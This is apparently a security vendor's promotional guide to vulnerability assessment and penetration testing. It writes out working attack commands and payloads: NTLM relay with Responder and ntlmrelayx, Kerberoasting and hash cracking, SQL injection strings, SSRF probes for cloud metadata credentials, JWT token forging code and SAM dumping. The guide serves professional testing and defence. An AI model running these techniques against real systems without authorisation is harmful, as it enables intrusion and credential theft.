Security teams use the term VAPT constantly, but the two disciplines it bundles together are quite different in purpose, methodology, and outcome. Vulnerability assessment tells you what is broken. Penetration testing tells you how badly it can be exploited. When combined into a structured VAPT engagement, they give organizations a complete picture of their attack surface, from surface-level misconfigurations to deep exploitation chains that a real adversary would follow.
This guide breaks down how each phase works, what tools practitioners rely on, what real commands look like in practice, and how to structure a VAPT engagement that produces findings your remediation team can actually act on.
A vulnerability assessment is a systematic scan and review of an environment to identify known weaknesses. It is largely automated and covers a broad surface area quickly. The goal is enumeration, not exploitation. You are cataloguing CVEs, misconfigurations, outdated software versions, and exposure points across hosts, services, and applications.
Penetration testing is adversarial simulation. A tester takes findings (or independently discovers targets) and attempts to exploit them to measure real-world impact. This is manual, creative, and logic-driven. It answers the question: if a threat actor started here, how far could they go?
Running only a vulnerability scan gives you a list. Running only a penetration test without prior enumeration wastes time rediscovering what a scanner could have caught in an hour. A proper VAPT engagement layers both, using assessment outputs to prioritize penetration testing effort and using penetration testing to validate and contextualize scanner findings.
If your organization needs a structured VAPT engagement that goes beyond automated scanning, the security engineers at Redfox Cybersecurity deliver full-scope assessments aligned to your threat model and compliance requirements.
Before any tool runs, scope must be defined. This includes IP ranges, domains, excluded hosts, testing windows, escalation contacts, and what counts as in-bounds activity. A poorly scoped engagement causes false starts, legal risk, and wasted effort.
Key scoping decisions:
Passive and active reconnaissance feeds the rest of the engagement. Tools like amass, subfinder, and theHarvester enumerate subdomains, ASN ownership, leaked credentials, and infrastructure patterns.
amass enum -passive -d targetdomain.com -o amass_output.txt
subfinder -d targetdomain.com -o subfinder_output.txt
cat amass_output.txt subfinder_output.txt | sort -u > all_subdomains.txt
[cta]
theHarvester -d targetdomain.com -b google,bing,crtsh,dnsdumpster -f harvester_report
[cta]
This combined output becomes your initial asset list for scanning.
Authenticated scanning produces dramatically more accurate results than unauthenticated scanning. Tools like Nessus, OpenVAS, and Nuclei are used depending on the target type.
For network-layer scanning with Nessus, a credentialed scan policy with SSH or WMI authentication will surface local privilege escalation opportunities, patch gaps, and insecure service configurations that unauthenticated scans completely miss.
For web application scanning, Nuclei with community and custom templates is the professional standard:
nuclei -l all_subdomains.txt -t ~/nuclei-templates/ -severity medium,high,critical \
-o nuclei_results.txt -stats -rate-limit 50
[cta]
For specific CVE validation, targeted Nuclei templates keep noise low:
nuclei -u https://target.example.com -t cves/ -tags log4j,spring,apache -o cve_findings.txt
[cta]
This is where VAPT separates from a pure scan-and-report workflow. Automated tools generate findings. Manual testing validates, chains, and escalates them.
Nmap remains the foundation for network-layer enumeration. A properly structured scan captures version information, default scripts, and OS fingerprints without triggering simple rate-based detection:
nmap -sS -sV -sC -O -T3 -p- --open -oA nmap_full_scan 10.10.10.0/24
[cta]
For stealth-sensitive environments, a fragmented packet scan with decoys reduces detection probability:
nmap -sS -T2 -f --mtu 24 -D RND:10 -p 22,80,443,445,3389,8080,8443 10.10.10.50
[cta]
SMB is one of the most consistently exploitable services in internal network assessments. NetExec (formerly CrackMapExec) is the current professional standard for SMB enumeration and lateral movement testing:
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
netexec smb 10.10.10.0/24 -u '' -p '' --shares
netexec smb 10.10.10.0/24 -u administrator -p 'Password123' --sam
[cta]
Where SMB signing is disabled, NTLM relay attacks are almost always viable. Responder and ntlmrelayx are used together for this technique:
# Terminal 1: Capture and relay hashes
responder -I eth0 -dwv
# Terminal 2: Relay to targets without SMB signing
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i
[cta]
The security team at Redfox Cybersecurity routinely identifies NTLM relay exposures during internal network assessments that automated scanners flag as informational but which actually lead to full domain compromise.
Modern internal VAPT engagements are largely Active Directory exercises. BloodHound with the SharpHound collector maps attack paths from a standard user account to Domain Admin, often revealing relationships invisible in flat scanner output:
# Run SharpHound collector on domain-joined host
.\SharpHound.exe -c All --zipfilename bloodhound_collection.zip
# Import ZIP into BloodHound and query for DA paths
# Cypher query: Shortest paths to Domain Admins from owned principals
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
[cta]
Kerberoasting is another high-priority finding in AD environments. Service accounts with weak passwords are almost always crackable offline:
impacket-GetUserSPNs corp.local/jdoe:Password1 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
[cta]
Before testing logic, enumerate every endpoint, parameter, and input vector. ffuf for directory and parameter fuzzing, combined with Burp Suite for traffic interception, gives complete coverage:
ffuf -u https://target.example.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-mc 200,301,302,403 -t 40 -o ffuf_dirs.json
# Parameter fuzzing on identified endpoints
ffuf -u "https://target.example.com/api/v1/user?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200,302 -t 20
[cta]
Automated scanners miss context-dependent SQL injection. Manual testing with crafted payloads in Burp Suite catches what SQLMap misses. Start with error-based detection:
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
' UNION SELECT NULL, NULL, NULL--
Once a valid injection point is confirmed, sqlmap handles extraction with precision:
sqlmap -r request.txt --level=5 --risk=3 --dbms=mysql \
--technique=BEUSTQ --batch --dump --output-dir=./sqlmap_output
[cta]
SSRF is one of the highest-impact web application vulnerabilities in cloud-hosted environments. An SSRF finding in AWS or GCP environments can lead to metadata credential theft and full cloud account compromise. Test with a Burp Collaborator payload or an out-of-band callback server:
# Probe for AWS IMDS access via SSRF
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP metadata endpoint
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
If the application fetches those URLs and returns content, the impact is critical. Cloud credential exposure from SSRF is an increasingly common finding in Redfox Cybersecurity web application assessments, and it is consistently underestimated until a tester demonstrates live credential extraction.
JSON Web Tokens with weak signing implementations are a persistent finding. Common attack vectors include algorithm confusion (alg: none), weak HMAC secrets, and RS256-to-HS256 confusion attacks:
import jwt
import base64
# Algorithm confusion: switch RS256 to HS256 using public key as secret
with open("public_key.pem", "r") as f:
public_key = f.read()
payload = {"sub": "admin", "role": "administrator", "iat": 1700000000}
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
print(forged_token)
[cta]
Once credentials are obtained (via SSRF, exposed .env files, or repository leaks), awscli and pacu enumerate the blast radius:
# Enumerate accessible services and permissions
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name compromised-user
aws s3 ls --recursive s3://target-bucket/
aws ec2 describe-instances --region us-east-1 --output json | jq '.Reservations[].Instances[] | {InstanceId, PublicIpAddress, Tags}'
[cta]
REST APIs often expose undocumented parameters and broken object-level authorization (BOLA/IDOR). Arjun discovers hidden parameters automatically:
arjun -u "https://api.target.com/v1/user/profile" \
-m GET --stable -oJ arjun_params.json
[cta]
Manual IDOR testing is then performed by substituting object identifiers across accounts:
GET /api/v1/orders/10482 HTTP/1.1
Host: api.target.com
Authorization: Bearer <token_for_user_B>
[cta]
If this returns user A's order data while authenticated as user B, you have a confirmed BOLA finding with direct business impact.
A VAPT report is not a scanner export. It is a prioritized, evidence-backed document that a CISO can present to a board and a developer can act on without ambiguity. Every finding must include:
A finding is not simply "high" or "critical" without justification. CVSS v3.1 base vectors must be documented:
CVSSv3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 10.0 (Critical)
Breakdown:
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High
[cta]
This level of rigor is what separates a Redfox Cybersecurity deliverable from a scan-and-stamp PDF. Clients receive findings they can triage, track in their vulnerability management platform, and validate after remediation.
Regulatory frameworks and security standards are converging on continuous or high-frequency testing rather than annual point-in-time assessments:
Beyond compliance, any significant change to your environment (new cloud deployment, major application release, M&A activity, remote access expansion) is a trigger for targeted VAPT coverage. Waiting for the annual cycle after a major infrastructure change leaves a wide exploitation window.
Point-in-time VAPT is a starting point. Mature security programs integrate findings into their vulnerability management platform, track remediation SLAs by severity, and use VAPT results to inform threat modeling for the next development cycle. Penetration testing findings should feed directly into your secure development lifecycle, not sit in a PDF on a shared drive.
VAPT is not a checkbox exercise. When executed properly, it is an adversarial pressure test of your security controls, your detection capability, and your response readiness. The difference between a scan report and a genuine VAPT engagement is the depth of manual testing, the quality of exploitation evidence, and the specificity of remediation guidance.
The technical techniques covered here, from NTLM relay and Kerberoasting to SSRF-based cloud credential theft and JWT algorithm confusion, represent the actual tradecraft used in professional engagements. Knowing what testers look for is the first step toward understanding where your defenses need to improve.
If you are ready to move beyond automated scanning and commission a structured VAPT engagement with documented methodology, scoped exploitation, and board-ready reporting, the team at Redfox Cybersecurity is built for exactly that kind of work.